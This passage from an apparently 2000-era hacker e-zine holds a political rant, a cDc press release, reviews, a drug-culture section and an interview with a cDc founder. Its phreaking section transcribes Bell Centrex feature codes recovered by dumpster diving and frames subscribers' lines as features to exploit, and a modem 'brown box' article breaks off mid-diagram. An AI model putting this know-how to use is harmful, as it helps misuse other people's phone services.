+influence. + +All I want to know is, who the hell voted for Ralph Nader? Stand up and be +counted! C'mon, some of you must have... + +The whole process is fucked. The entire thing is nothing more than a fucking +joke. Most people are completely indifferent. They don't give a shit who is +their president, as long as they can make a few bills on the stock market and +buy the new SUV they've been eyeing. America is fucked. Americans are only +concerned with themselves and their own personal wealth. + +A country divided? Obviously. What an astute observation that is, on the part +of the good ol' reliable mass media. Political commentary at its best, 24 hours +a day if you want it. I mean, out of 100 million people that voted, it was +about as close to a 50/50 split as you're ever gonna see. And so, it all came +down to people holding up ballots to the light to look for punched out chads, +and make decisions on how people voted. Well, it could've gone down to a coin +toss. No word of a lie. That was a distinct possibility! That's our "system" +at work... + +Now what? It's over. Live with it. Take it. Be indifferent. Not that I +expect this article to actually change anything. The vast majority of Americans +are indifferent and complacent. Mobilizing the people that aren't is damn near +impossible. And there's a huge shortage of true leaders on top of it all. +Well, at least ones with charisma. No offense Ralph, but you don't cut it. +Putting your politics aside for the moment, you lack the qualities that a true +leader needs in order to inspire people and create a real, long lasting, +effective movement. Someone that with their mere words, can make the rich fat +cats do more than stand up and take notice, but rather, have unexpected bowel +movements, is what is needed. And that someone isn't Ralph Nader. As fun +loving and lovable as he is, and as much as he appeals to a certain group of +college kids, he isn't the man for the job. In politics, your ideas and your +heart being in the right place aren't nearly enough. You've gotta have much +more than that. You've gotta have style and flash and a way to wake people up +and get them all jacked up about the issues. So, with that being said, I wish +Nader and the Green Party all the luck in the world. + +As I mentioned earlier, the system is corrupt. It's filled with greed and +deception. Politicians are bought and sold. Special interest groups pay for +the elections, for the most part, through political donations. Yes, reform is +needed. But, *real* reform, not more bureaucracy meant to fool the masses into +thinking everything has been changed and fixed. As it stands now, it's about +"stuff my pockets and i'll fill yours." Yes, that's immoral and unethical. +But that's reality. Obviously you aren't reading this to be shielded from the +truth and influenced by spin. So, we'll give it to you straight. Things aren't +going to change until the control is taken out of the hands of the special +interest groups and huge corporations and put into the hands of the people. +Yes, I'm stating the obvious. This won't be accomplished through the Republican +and Democrat parties. Voting for the "lesser of the two evils" won't help +matters at all. Being indifferent to it won't change it. Opposing it, but +being complacent won't either. + +What's needed is a voice of change. This country needs a powerful voice to +speak on behalf of the people. Change is desperately needed, but it'll never +happen if we just leave it in the hands of our current "leaders", and assume +they'll get the job don't. They won't. They lack the necessary power to do +it. They lack the desire to get it done, at all costs. They aren't motivated +to take action, since they're all extremely wealthy. I can say with almost +absolute certainty that of those of you that voted, the people you voted for +are all much richer than you and I combined. So, without a real interest in +this, why would they work their asses off to change it? For the most part, +their only interests are getting richer, acquiring power and obtaining a level +of fame that many of us can't even imagine. That's their stake in it. So, +why the hell do people expect *them* to *change* things? It's illogical to do +so. Only a fool would make make a conclusion like that based on those +circumstances. They aren't going to shoot themselves in the foot for your sake, +for your benefit. They'll do what benefits them alone. And they'll continue +doing just that, until we collectively choose to stop them... + +Written by Blackie Lawless / Damage, INC. (C)opyright 2000. + + +CROSSED WIRES - {WIRES} +Global Domination Update PR for cDc. + +For your viewing pleasure, here's a little something from cDc. + + _ _ + ((___)) cDc communications + [ x x ] Global Domination Update #28 + \ / "A Special Message of Hope" + (' ') December 24th, 2000 + (U) FOR IMMEDIATE RELEASE + + A TIME OF GREAT REFLECTION IS UPON US + + A lot of major events have happened since the last Update... the release +of Back Orifice and BO2K, a completely redone web page, and the formation of +cDc's Hacktivismo subdivision. But since our birth in 1984, the bread-and- +butter of cDc is our routine creative output. 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It's + It's tough being an elf... you can't reach very high, and you're easy to + tie up and throw in a closet. + + _________________________________/ - x X x - \______________________________ + +From: chankins@network-one.com +To: feedback@cultdeadcow.com +Subject: Stupid + +I am a 44 year old x-marine and I like the martial arts. I stumbled up on +this sick sight and would like to invite your bad-ass's over for a lesson any +time some of the sick cows are in my area. I would like to practice my neck +breaking tech. on a stupid cow. I live in Fulton, Ms. and work for the city +utility dept. I am not hard to find. Ask for the Recon. Ranger Eddy. + + _________________________________/new visuals\______________________________ + +1:"Build The Future" by Myles Long. A long, hard road is ahead! + +2:"Anime Chicks Dig cDc" by Satoshi "Toy" Igarashi. Anime girl sitting + around. Yep. + +3:"Good Ol' Boy" by unknown. George W. Bush, the shape-shifting reptile- + beast, looking goofy. + + _________________________________/ - x X x - \______________________________ + +Thanks to the following recent items of influence: + + MUSIC: OutKast, At The Drive-In, Juvenile, AC/DC + FOOD: sweet-potato casserole + PRINT: F.E.D.S. magazine, _The Secret Doctrine of the Kabballah_ + + WAREZ: Defender, via MacMAME +JEWELRY: iced-down pinkie ring +HOT SEX: yer momma, ha ha... + + A brief interview with Count Zero/cDc: + +CZ: "What you want to talk about? They ain't my kids and I don't know that + chick. Whatever they told you, I don't know that chick." + +Thanks, Zero! + +Fools better recognize: CULT OF THE DEAD COW is a gift to the women of this +world and trademark of cDc communications. Established in 1984, cDc is the +longest-running crew in the telecom underground worldwide, and inventor of +the "e-zine." Every issue is produced on an Apple ][ for genuine tru-skool +flavor. You thirst for our body of work, you know you do. Find it at the +cDc Global Domination Factory Direct Outlets: + +World Wide Web: www.cultdeadcow.com + Usenet: alt.fan.cult-dead-cow + BBS: 806/794-4362 Entry:KILL + +For further information, write: + + Email: feedback@cultdeadcow.com + Postal: cDc, 1369 Madison Ave. #423, New York, NY 10128, USA + +xoxoxo, + +Grandmaster Ratte' +cDc Warrior-Priest-King +"We're into telecom for the groupies and money. Bling bling." + + __//////\ -cDc- CULT OF THE DEAD COW -cDc- /\\\\\\__ + Est. 1984 \\\\\\/ NINJA STRIKE FORCE * HACKTIVISMO \////// Est. 1984 + #### + +We will have more to say. + +--- + + +DAMAGE, INC. REVIEWS - {REVIEWS} +Snapshot of things we currently follow/read. + +Instead of reviewing web sites or whatever, we decided to just write about the +things we follow and read these days... as the title suggests. If you have +no interest in knowing what types of sites we frequent, and what types of texts +and zines we read, as offended as we are, you can always just skip ahead to the +next section and read our drug propaganda. Like we're gonna know you did that +anyway... Wait, that was a little misleading. It made it seem like we're not +watching you. For the record, we know what you read and what you don't. We're +like Santa all jacked up on steroids with Psi powers comin' outta his ass. :) + + +Cult of the Dead Cow - Either you get it, or you don't. Point blank. cDc gets +it. Some people don't get them. Many do. All that matters is, they put out +what they want and don't conform to other people. And that's just damn cool. +I don't just mean in this electronic realm either. Living that way is the only +way to really live. Creating what you want, putting forth the ideas you want, +and doing what you want... out of the desire to please yourself instead of +others around you. Read the interview with G. Ratte' in this issue for better +insight on the group. + + +SecurityFocus.com - Excellent security information on the site and in the +newsletter. Subscribing to the mailing list is highly recommended. + + +Hacker News Network - HNN, maintained by Weld Pond of the L0pht (now @Stake), +has a wide range of newsworthy articles and is updated regularly. The site +also has a web site defacements list (from attrition.org), for the kids that +want to see all phreaky graphics, messages and shout outs on the latest sites +to be hax0red. Hehe. + + +Hack Canada - An excellent assortment of articles relating to Canadian +hacking/phreaking. New texts are released on a regular basis. Very informative +and a great resource for the Canadian scene. + + +Nettwerked - The Clone, who is also part of the Hack Canada crew in Alberta, +has put together a really cool site of his own, along with a zine, K-1ine. I +realize he has been interviewed and this has been mentioned before in earlier +issues. And Nettwerked is an affiliate of Damage, INC. However, it bears +mentioning that with each new issue he releases, the improvements are +drastically noticeable and readily apparent. If you're Canadian, his site is +a must visit for the solid telco information alone. In my opinion, Nettwerked +has put out some of the best quality t-files in the Canadian scene... + + +Adbusters - Culture jamming, Spoof ads, Magazine, Uncommercials, Campaigns like +"Buy Nothing Day", etc. Are you tired of commercialism infiltrating *every* +area of "society" and aspect of your lives? Go here and read, then act. +www.adbusters.org + + +rTMark - An actual corporation that's about trying to improve culture. As they +say "it seeks cultural profit, not financial." What a novel concept! Another +quote from their FAQ "rTMark supports the sabotage (informative alteration) of +corporate products, from dolls and children's learning tools to electronic +action games, by channeling funds from investors to workers for specific +projects grouped into "mutual funds." Go there, read and get involved with +their various projects. A very cool site that's *about something*. +www.rtmark.com + +We also read a lot of the texts and zines on www.textfiles.com and +http://scene.textfiles.com as well. Plus, we still read some of the zines +we reviewed here in previous issues, etc. + + +DRUGSTORE COWBOYS - {DRUGS} +Got drug propaganda? Trip on this. + +We brought back the Drugs section, but decided to give it a hip new name. Yeah, +that's right. We changed it *just* so you'd think it was cooler. The new name +refers to the movie "Drugstore Cowboy", which has a cameo appearance by +Burroughs... who plays an old junkie. ;) A cool movie, and a fitting title +for this section... as it reflects what it's about quite nicely. + +The anti-drug campaign (or spin/propaganda machine) has been going steadily +for well over half a century now. You would think that people would be more +informed and enlightened in their views on drugs and drug use by now. But +governments, law enforcement, the legal system, medical associations and doctors +don't seem to be getting it. Not in most countries at least. Not yet. + +Some of the most hilarious drug propaganda is circa 1950-1960. In that era, it +wasn't uncommon for people, especially parents of teenagers, to believe that +their kids would go insane and become sex crazed maniacs from indulging in +smoking marijuana. Some even thought their children would become enraged, +pyschopathetic killers. As laughable as that sounds, it's true. They thought +that was a real possibility. And the government was behind spreading those +types of outright lies, through their own campaigns. Rumours became truths. +Were the 50s perfect? If you wanted to live in a make-believe... dream world, +far separated from reality, then maybe. Regardless of all the lies that were +spread, people still used drugs throughout the 50s. The propaganda meant to +fool and scare people failed then, and it's still failing miserably now. + +In the 1980s and 90s, the government really stepped it up a few notches. They +began to run commercials that were chock full of "shock value" -- at least, +as much as they could possibly put into them. I'm sure you've all seen the +public service announcements on television. Well, those of you that watch TV +must have. + +What about currently? Well, the anti-drug propaganda is still out there, +proliferating as it always has. That hasn't changed. That won't change, until +people realize that it's about *personal choice*. Drugs can definitely affect +some people's lives adversely. In other words, it fucks them up and they'd +be much better off without using them. For others, it's a source of inspiration +and creativity. As strange as that might seem to some people, it's true. + +Regardless of what you use, or don't use, just consider this. Get the straight +facts before you start fucking around with things. If you think you can shoot +heroin once, to experiment with it, just to try it, think again. It's possible, +but it's also more likely that you won't stop at using it once for the +experience. Unless it does nothing for you, which is pretty rare. And whatever +you choose to do, research it first. And if you decide to use pills, get them +tested first if you can. You never know what shit is going to be mixed in, or +what it really is at all unless you do that. You don't want to be doing things +that aren't pure. But with h, you don't want to shoot some that's *too* pure +either. Anyway, just think about these things, or stick with smoking dope. +By the way, I'm not preaching. Do whatever the hell you want to do. But being +careless doesn't make you cool kids. Dying young doesn't make you cool either. +Remember these things, and make your drug experiences as safe as you can. + +Written by BLACKENED / Damage, INC. (C)opyright 2000. + + +H/P INF0 - {H/P} +Bringin' back the old sk00l and hittin' hard with it. + +Yeah, that's right. We are bringin' it back. It ain't all about the Gnu +exploitz. Sometimes you've gotta go back to the old sk00l... and thus, we're +giving you a healthy dose of it. Coloured boxes? You know it doesn't get +anymore old sk00l than that! + + +Bell Centrex Explained. + +While on a trashing expedition, I found some papers that contained information +about the Bell Centrex telephone service. In this article, I will give you a +brief explanation as to what the Bell Centrex service is, who will have it, and +a list of features that can be taken advantage of if you have access to Centrex. + +Bell Centrex is a service that Bell Canada attempts to sell to small businesses +that are too small to purchase a PBX system, but have outgrown the limitations +of basic POTS business services. For example, a small business may want an +easy way to have phones in their building to have their own assigned extensions. +Bell will try to sell Centrex because they can set it up to do this for a +potential customer. All Centrex customers will be locked into a three-year +contract, so if you find a business that has just signed up, you'll have three +year to take advantage of the basic features that they will have (if you're +interested in them). + +At the site of the Centrex subscriber, there is no hardware or software that +enables them to obtain Centrex services. The actual Centrex system is housed +and maintained in the confines of Bell Canada. When someone subscribes to +Centrex, they are given a piece of paper stating the date that they will switch +over from the POTS to Centrex. That transfer also happens at Bell. Unless the +subscriber has problems, a technician will not have to visit the subscriber in +order to connect them to the Centrex service. + +Bell has made Centrex so that people that have very little or no knowledge of +the telephone system think that it is a PBX. The first trick they used is to +require callers to press "9" in order to dial out. Rudimentary extension +service is another ploy to make people believe that they are using a PBX when it +is just the POTS with some extra features thrown in by Bell. The truth is that +Centrex is a PBX sham, and has none of the flexibility or expendability that any +real PBX system has. + +For small business owners that have little knowledge of the telephone system and +don't know or care about what a PBX is, they will be attracted to Centrex +because of all of the "SmartTouch" services that Bell has given Centrex as +standard features. In fact, don't be surprised if you find that Bell has sold +Centrex to small businesses that have not outgrown the capabilities of the POTS. +If the business subscribes to more than three features like Call Waiting, +Caller ID, Call Forwarding, etc. it is cheaper for them to subscribe to Centrex +then to stay on the POTS and subscribe to individual features. This can be +valuable to a field phreak that can find a Centrex subscriber because they will +all have the same set of features, and could have them for a substantial period +of time. I have typed up, word for word, the poorly written Bell Centrex list +of features that I found for your reference. You will quickly notice that Bell +has given Centrex features different LASS codes in order to activate/deactivate +them: + +Subject: Dialing Plan & Centrex Configuration & Features + +1. To dial local or operator assisted calling card calls press "9" as the +leading digit. + +Please remember to reprogram any auto dial or circuit alarm numbers as +per the above dialing plan (ie. Interac, visa/master card machines, built +in speed dial's on your fax). + +2. Call Forward Calls Externally +1. Lift the hand set +2. Depress *70 +3. Listen for special dial tone +4. Dial the number you are forwarding to (remember to dial "9" first) +5. Listen for the confirmation tone +6. Hang up + +To Cancel Call Forward: + +1. Lift the hand set +2. Depress *71 +3. Listen for confirmation tone +4. Hang up + +3. Transfer Calls Externally: +1. Press the Link key (this places the caller on hold) +2. Listen for the special tone +3. Dial 9 + 7 digit telephone number of the person you are transferring to +4. Announce the call +5. Press the Link key (this brings the call off hold +6. Hang up + +4. 3-Way Conference Call +1. Follow the above procedure to the point of announcing the call +2. Press the Link key +3. You now have a 3 party conference call using only one line. + +If there is no answer, or it is busy, press (LINK) twice and you are back +with your original party. + +5. Call Park: +1. Press LINK +2. Dial *72 +3. Listen for confirmation tone. +4. Replace the handset + +6. Speed Call Short (0-9): +To Store +1. Lift handset +2. Press *77 +3. Dial one digit code and telephone number (ie. 0+9+888-1111) +4. Replace handset + +To Use +1. Lift handset +2. Press * followed by one digit code (ie *0) + +7. Ring Again: +To Use +1. You have called someone and have received a busy signal. Press LINK + +*76. Listen for the confirmation tone. +2. Replace the handset. +3. When the called station becomes free you will hear the Ring Again +notification (one long and two short rings. Lift the handset. The call +will automatically ring. + +To Cancel Ring Again +1. Lift the handset. Listen for the dial tone. +2. Dial *76. Listen for the confirmation tone. +3. Replace the handset. Your request will be cancelled. + +8. To Call Forward on a No-Answer Condition: +1. Lift handset and pick telephone line +2. Dial *90 (listen for confirmation tone) +3. Enter the telephone number you wish the call directed to either an +external number (9+7 digit telephone) or internally to a 4-digit number +within the office. + +To Cancel Forward on a No-Answer Condition: +1. Lift handset and press a line +2. Dial *91 (listen for confirmation tone) +3. Hang-up receiver + +9. To Call Forward on a Busy Condition: +1. Lift handset and pick telephone line +2. Dial *88 (listen for confirmation tone) +3. enter the telephone number you wish the call directed to either +(9+telephone number for an external number) or a 4-digit extension or +another number within your office (last 4 digits of the telephone #) + +To Cancel Forward on a Busy Condition: + +1. Lift handset and press a line +2. Dial *89 (listen for confirmation tone) +3. Hang-up receiver + +10. Call Waiting: +When to use Feature +1. To answer a second call +2. To end current caller + +To Use +1. When you HEAR a TONE through the receiver press LINK once. The first +caller is put on HOLD automatically. +2. Replace handset. Your telephone will ring. +3. Lift the handset, you are now connected to the third party. +4. To return to first caller, press LINK once. +--- + +Written by Shatazar / Damage, INC. (C)opyright 2000. + + +Modem Brown Box. + +By Phractal. + +Using your modem as a bridge for two separate lines to create '3-way calling' + +This is a common scenario that many dialup users of the internet have on +their computers. Many people have two phone lines at home, for the +convenience of being connected to the internet via telephone and also being +able to use the other line for voice calls. + +In this diagram, we start out with two separate phone lines, each having +their own unique telephone number of course. One line supplies Phone A with +access to a dialtone. Line two plugs directly into the modem. Almost all +telephone modems have two phone jacks. One is meant for the incoming phone +line (ie the line coming from the wall), and the other is meant to attach to +phone (Phone B), which can be used when the modem is not in use, and will +operate on the same line as line 2, naturally. This is where 'I' and 'O' +labeled on the modem come into place. The 'I' stands for input, and the 'O' +stands for output. On many modems, the input jack is labeled 'Line', and the +output jack is labeled 'Phone'. When the modem is not in use, think of it as +a router for Line 2 to Phone B. + +*POTS lines from wall + + Line 1 Line 2 +Phone Line Modem Line + |~| |~| + | | + | | + | | /----------\ + | | | | + | | /-------------\ | Computer | /----------\ + | | | | | | | @@@@@@@@ | + _______ \-------| had to say, since he has strong +opinions, beliefs and a very unique take on things -- including "society", its +rules and laws. And now we're giving you even more to contemplate with our +latest interview. + +Grandmaster Ratte' (cDc) is in the spotlight. Obviously, Cult of the Dead Cow +is a very well known, revered, respected, influential group in the scene. Since +1984, they've been doing nothing short of kickin' fuckin' ass. With the longest +running e-zine, a diverse group of members and a wide assortment of releases, +along with media saturation, cDc stands apart from all the rest. More than just +being high profile, their members have made a huge impact and countless valuable +contributions. Bow to the Cow. + +I'm eternally grateful that he has agreed to be interviewed for the Damage, INC. +Newsletter. His insight into the scene is immeasurable and comments invaluable. +But enough with the pre-interview hype, adulation and near awe struck admiration +of cDc. In this interview, we explore everything from the group dynamic of cDc +to other topics such as Hacktivism, etc. Just read the damn interview and enjoy +it without dropping your jaw so much that your keyboard becomes covered in thick +saliva. This interview was conducted towards the end of December, 2000, and it +commences right here... + + +Alias: Grandmaster Ratte' +Group(s):cDc communications +Country: US of A + +Description: SWM, 30, 2 legs, non-smoker, active, fit, enjoys knitting and cats. +Seeks baby seal for (c)lubbin'. + +Music: minor key stuff with a catchy melody, all styles + +Movies: sitting way down close to the screen to get my money's worth of +spectacle + +Books: non-fiction + +Email: gratte@cultdeadcow.com +IRC: gratte +Usenet: alt.fan.cult-dead-cow +URL(s): www.cultdeadcow.com + + - Since no introductions are necessary, I'll just jump right into the +real interview questions. How has cDc managed to stay together, evolve and +be so productive throughout the years? Many other groups have disappeared, +dissolved and basically weren't able to adapt and keep evolving. I realize +that cDc is fundamentally different, but, it's still an amazing feat to last +so very long. And the fact the group is still growing and expanding its domain +is also impressive. So, the question is, what's the driving force behind the +group? What's responsible for it continuing to grow and thrive? And how are +you able to maintain such dedication and diligence? + +----- + +Well, cDc resulted from a name change to an earlier group called Pan-Galactic +Entropy that I had started in '83, '84 in Lubbock, Texas (806). We were the +local BBS scene kids, mostly in junior high, and the majority of us were running +our own boards... on Apple II's, Texas Instruments 99/4a's and Atari 800's. +Lubbock is a weird little college town in the middle of cotton field country. +There's sort of a clique of the offspring of the Texas Tech University +professors and the students who tend to find each other and huddle together in +the midst of tumbleweeds and pickup trucks with gun racks. So that was us. +A lot of other computer underground things came from that unlikely place. In +the '80s there were two major h/p BBS's there before ours, and GwD and F.U.C.K. +(now Attrition.org) started there; all revolving around the university. + +Enough background, now I'll answer the question... + +In 1986, I came up with the cDc name and Franken Gibe joined. Gibe's a really +sharp visionary type, and we would talk endlessly about the hacker/BBS scene and +what we didn't like about it, and what we wanted to do with our own group +differently. So the two of us really put together the whole 'concept' that's +been driving everything since. Fortunately, the concept is very broad and +inclusive and says basically, "The technology is not the point - it's just +a means to something else." That right there put us 180 degrees apart from +every hacker group before and it still trips up most people I think in the +'scene' - they fall in love with the gadgetry itself and don't see that's just +a dead end. + +Until it's too late and they're burned out from a small idea that can't grow. +So our mission is to use these crazy communications tools to figure out +something else. + +When we started, it was about using the free long-distance phone calls, and now +it's on the 'net. No difference. + +In practical terms, you stay together through... stubbornness? cDc is my main +creative outlet, I _have_ to do this. For a group to survive, I think it has to +have passion about what it's doing, 'cause there's not much else to sustain it - +no salaries or concrete payoffs. The most rewarding thing about it is the sense +of accomplishment when you've done some work you know is good, and the feedback +you hopefully get from people who dig your stuff. + +The trick is to keep it fresh and interesting for the people involved, which +means change and growth if you're determined to stick with your plan. It's +inevitable. As Woody Allen said, "Ninety percent of success is just showing +up." So show up, put in work, keep doing it, and there ya go. + +People come and go from cDc. There have been 50 or so members over the years, +and we tend to have an active lineup of around 20 people at any given time. +Currently, some of the people have been in since the mid '80s and some around a +year, and they're all still bringing different things to the table. +The concept of cDc includes a change of roster... the concept has to be bigger +than any of the people. Individuals are flighty, they change and their lives go +this way and that and a group has to accommodate that reality or it can't work. +As long as there are people willing to do the necessary grunt work, things'll +hum along fine. + +----- + + - Hacktivism is one of the topics that I simply couldn't ignore during +the course of this interview. So let's get into it. In your opinion, what's +the importance of Hacktivism as it stands right now? And, do you think it'll +be even more important in the future? Will it be more of a potent tool to +get political messages across? What are you views on it as a means of +protesting and enacting change? + +I'd say right now, Hacktivism is a bubbling idea. It's still in the pot, and a +lot of people are standing around the stove rubbing their hands, waiting to dig +in. We've got a "subsidiary" now called Hacktivismo that OXblood Ruffin is +stirring up... they're all hot-shit coders and are working on practical human +rights apps that will make Hacktivism a more concrete force. + +Hacktivism is about finding a political, real world end to these tech means... +which is exactly the same as the cDc concept. So it's another way to spread our +idea about what the point to all this is. Yes, I think it will be very +important in the near future. I think a lot of people are and many, many more +will be picking up the flag and running with it. It's something to care about +and fight for and I'm proud to be involved. + +----- + + - Since cDc is producing and releasing audio now, and you mentioned to me +that you've been really into it for 10 years or so now... I thought it'd be +prudent to ask what the plans are. How big is cDc gonna get into audio and +what types of projects are in the works? + +Yeah, I've been playing bass and guitar and yelling in zillions of noisy bands +since I was 16. Then I got into hip-hop and dance production in '90 with an +Amiga and a little keyboard and a 4-track. Franken Gibe and I started a punk +club with partners who had a skateboard park in a warehouse and we put on lots +of shows for a few years. Some raves, too. Then xxxclusive and I put together +a lil' ol' recording studio in a few different places and we did tons of demo +production, mostly southern gangsta hip-hop and punk rock. + +We're gonna be very into audio, at least as much as we've been into text files. +The first MP3 we put out was in mid '97, and now we've got the bandwidth to +really do things right. The plan is to target the music scene specifically with +our audio and do lots of stuff with the guys running Shoutcast sites. So we'll +plug along with our telecom, no-budget way of doing things and then a few years +later the old conventional scene maybe will notice what we've been up to. That +seems to be the way it goes. + +----- + + - cDc is infamous for its media relations. By that, I simply mean, the +group is very well known in media circles, and utilizes the mass media as an +outlet. In fact, in my view, you're masters at it. My question is, how was +this relationship with the media formed and achieved? Who is responsible for +forging these media relations? And how important is the media aspect to cDc? + +In school in the late '80s I wrote a paper about "electronic publishing" and +how important I thought it would be and the professor said it was a ridiculous +idea. Ha. In college, I got a degree in telecommunications - which means radio +and TV stuff. I also had classes in journalism, public relations, marketing, +advertising, and media law. So I was in all these classes learning about +dealing with the media, and I thought, "Well, we've got a magazine, sort of, so +why not act like it?" I was just using standard media relations tactics in a +new environment. I'd scour every magazine I could find for email addresses +(this was way before dot com mania and e-i-e-i-o-everything) of "movers and +shakers" and send them press releases about our stuff. + +Relating to the media is very important for cDc for two reason. One, because +mass media is how you spread a message - advertising costs money, but public +relations work is free. Two, because in the context of what we do, issuing +press releases and fielding interviews and such is freakin' hilarious. And so, +the more the better. We catch flack from a few humorless gimps in the hacker +world who don't get it, but the press aren't the enemy. They're just cats doing +their job and most of 'em are cool folks. They want a hook, they want "riveting +drama", 'scool. You hang out with a reporter at a restaurant, they pay for your +food, you tell 'em a story. If it's not you, they'll just go find some other +car wreck to look at. + +Different people in the group field different kinds of questions, so between us +we can cover things pretty well. + +----- + + - On a similar note, cDc has always been excellent at promoting itself +within the scene, and even outside of it. The group is well known for its +unmistakable style and flash. And so, relating to this, how do you put +together the shows you put on at the various hacker cons the group attends? + +We use a lot of antihero imagery to wrap up an essentially positive message - +most people figure it out but a few knuckle-draggers don't get it. That's ok, +they don't have to. We do these things because it's fun to scheme and plot and +use these techniques in this context; we're playing around. We're not making +money and we're not trying to trick anybody. The attitude is that we definitely +want everybody in on the fun, ya know. The only market we're interested in is +hearts and minds, and the point will be more clear as our agenda emerges over +time. + +We plan for the shows we do in email mostly. Then as the time draws near, a lot +of work goes into getting lights and sound working right (sometimes) and +whatever printed materials we're giving out to press, throwing to the crowd, +etc. We have to put the recorded audio together on a CD, and maybe there'll be +some video. Which is a nightmare with video projectors and such. Of course +you've gotta have some sort of show concept, and you have to script out who's +saying what and when. Then you've got costumes to put together, and props and +figuring out how to get all your junk to the location. When you see the stage, +you have to figure out staging: how you come in, where you stand, who does what +where. How the lights are going to work. The audio cues. At H2K we had a +theater group doing a play and so I had to meet with them several times for +script-writing and rehearsals. They did a great job. + +We also did three musical numbers, and so the people involved with that had to +know how the songs went and what they were supposed to be doing. It's a whole +big fat ton of work to put on those shows and they cost quite a bit of money to +do. We don't get paid for them either, so we hope to make some of the money +back with t-shirt sales. + +----- + + - Judging by their writing, quotes in articles and interviews, each member +of cDc seems to have a very distinct style, unique personalities and interests. +It's a group of real individuals, which is very cool. And you keep it fresh, +by adding members, expanding, constantly getting into new things, etc. +The group as a whole seems to have its own culture, at least that's how many +outside observers view it. More than just a generic hacker culture. Can you +rant a a little on cDc culture, and give us an idea of what some of the basic +ethics and ideals of the group are? Is there anything that isn't permitted +within the "boundaries" of cDc and all that the name encompasses? + +Yeah, everyone in cDc is definitely their own person and we want them to project +their characters as much as possible. We have an internal culture of +communicating on a personal level with each other, in most cases for many years. +Before everyone had Internet email, cDc communicated through a private message +board on the Demon Roach BBS. Then that switched over by the early '90s to an +Internet mailing list we're all on. We talk about intimate details of our +lives, know embarrassing things about each other, etc. There are cliques within +the group, but for the most part we're all fairly close friends. I guess you +could say the culture sort of comes from knowing that this isn't a regular +hacker group, it's not supposed to be, and that we're pushing for something +else. Finding something else is the culture of the group. That's what keeps it +fresh and interesting for us. Being in cDc is like being in a band, or a gang, +or both. But it's a new definition without the traditional boundaries. It's +much better. It's an ideal, a lifestyle. The ideal is to be this renaissance +person, mad ninja skills in all aspects of life, enlightened, uber-el33t, etc. +So maybe you're really a bit lamer than all that superstar stuff, but ya know, +at least you can inspire your own damn ass. And that's pretty cool. + +----- + + - How has cDc changed since you first started writing and releasing issues? +I still vividly remember reading cDc's t-files from the 80s... with the early +ones including song lyrics for albums, lists, telecom terms and that sort of +thing. The evolution of the group was so clear and apparent as each year +passed. Was it as natural an evolution as it seemed? + +We started doing text-files in '84 and over the next year or so we had amassed +quite a few. With the name change to cDc, we started numbering the text files +to make them collectible, so you could tell if you didn't have them all. Before +that, nobody was numbering anything. + +Quite a few t-files didn't make the cut at that point, though you might still +see them floating around. So by then we had a little 'zine with enough articles +to warrant our own subdirectory on a BBS. The next issue was distribution, so +we made a point of making damn sure all our files got onto the biggest h/p and +text BBS's at the time. We would recruit sysops into our efforts; for a long +time we had an organized "Factory Direct Outlet" distribution plan to +guarantee certain BBS's would carry our releases as soon as they came out. So +we basically churned away like this, growing gradually, until 1993 when +Drunkfux set up our first Internet site, cypher.com. Mindvox was also huge and +we were all over it, a telnet-able BBS in New York that everybody who was +anybody was on. This was when the "cyperpunk" thing was happening, the last of +the big hacker-scene busts was going on, and we started doing press releases +through Internet email. We had a _massive_ email list then, which I'd send out +manually one at a time and it took days to send out a PR. The goal was if you +had a computer and a modem, we wanted to be in your face about cDc. This +was when the hacker cons became more widespread... SummerCon had been going on +yearly in St. Louis with the Phrack scene, but now Defcon started and Drunkfux +had his HoHoCons ( in my opinion, the best - freakin' NUTS - cons now are +watered-down pussy shit compared to those). So by the early '90s, the Internet +happened and we grew beyond the BBS scene and that's been the situation. We've +been wanting deliriously to do wider media than t-files for almost ten years now +but didn't have the bandwidth to handle the kinda traffic these releases move. +I'm very excited about that stuff. The cDc web site has been totally redone six +times now I think, and the latest is kinda cool. It has a "content management +system" - w00. + +----- + + - What do you think the legacy of cDc will be? What will the group be +doing 5 or 10 years from now? Yes, I'm basically asking you to predict the +future. ;) + +Astral travel. Building an army of psionic warriors to battle the alien +reptilian overlords in the 4th dimension for the fate of mankind. + +----- + + - Excluding BackOrifice and BO2K, what has cDc written or done that made +a huge impact on the scene? (including texts, ideas, ideals, terms coined, +philosophies, etc.) And which cDc issue stands out in your mind, and why? + +I think our biggest impact has been the idea of electronic publishing, through +the e-zine, webzine, whatever. BO is a cool app and made a lot of noise but in +the big picture, coming up with "new media" is a way bigger deal. + +We're sort of in a weird position, because on one hand we're the flagbearers of +certain "old skool hacker" traditions - on the other hand, we were all +about breaking from some of that when we started. Now the cultural enemies are +the dot com ninnies and the scared reactionaries who come following them not +realizing what they're getting into. You can't just hide the Playboys in the +dresser and keep the scary books out of the library any more - gee, maybe you +should stop treating your kids like retards who have to be sheltered from +anything challenging, and they'll turn out better. I'm digressing, sorry. I +guess the influence to the hacker scene in general is the attitude that we're +here to have fun and build something cool. In particular, there are tons of +details... I'll see quotes from us in the mission statements of groups, +unattributed. File templates cut and pasted from ours. Too many to think of. +Tons of times I'll be reading somebody else's etext or whatever and think +"Oh, that came from my...so and so". References and whatnot all over the place. +It's cool, it's fine. Everything's always built on what came before. We were +looking at the Apple Mafia and LOD/H and figuring out what we didn't wanna do +in the early days, and now we're thinking about the Rolling Stones (in '73) and +KISS. + +But the most important cDc innovation: MIXED-CASE ACRONYMS!! + +The cDc file that stands out the most to me is #200: "Super mega blah blah +blah." That damn thing took like a year to put together, and I remember +finishing it up at some crazy hour of the morning just before I drove off for 7 +hours to a HoHoCon. I hadn't put out a file all year, we had been stuck at #199 +forever and everyone in the group was pretty pissed off. So I basically +couldn't show my face without that file. I brought it on a floppy and all was +well, and I still think it's the best file I've done by far. I've been really +happy with the concept, an elaborate Dickens parody through the eyes of a BBS +sysop. Another file that stands out to me is the "Six Million Dollar Man - +alien conspiracy" (#253) thing. At some hacker con, Omega and White Knight +had a handful of copies printed out and announced he had this "special +exclusive paper" and these journalist guys were LEAPING for it, yelling "Press!" +It was too funny, and something really clicked for us, seeing that. Also, I +remember that Mormon-expose file by Krass Katt being kind of an "oh wow" moment, +along with the first time I'd seen all that UFO-Roswell-MJ12 conspiracy stuff... +Gibe and I used to sit around, freaked out, talking about all that business when +we first found it on the old UFONet boards in the late 80s. + +----- + + - You mentioned HOPE was more interesting this year than Defcon... How +was Jello Biafra's speech? What's your take on cons in general? + +As far as cDc stuff goes, our show at HOPE last year was probably the best live +show we've ever done. Then two weeks later at Defcon, very little went like it +was supposed to, and it was pretty disappointing. I remember coming back to the +"Suite of the Elite" after the show just feeling down and mumbling to myself, +"It didn't work, 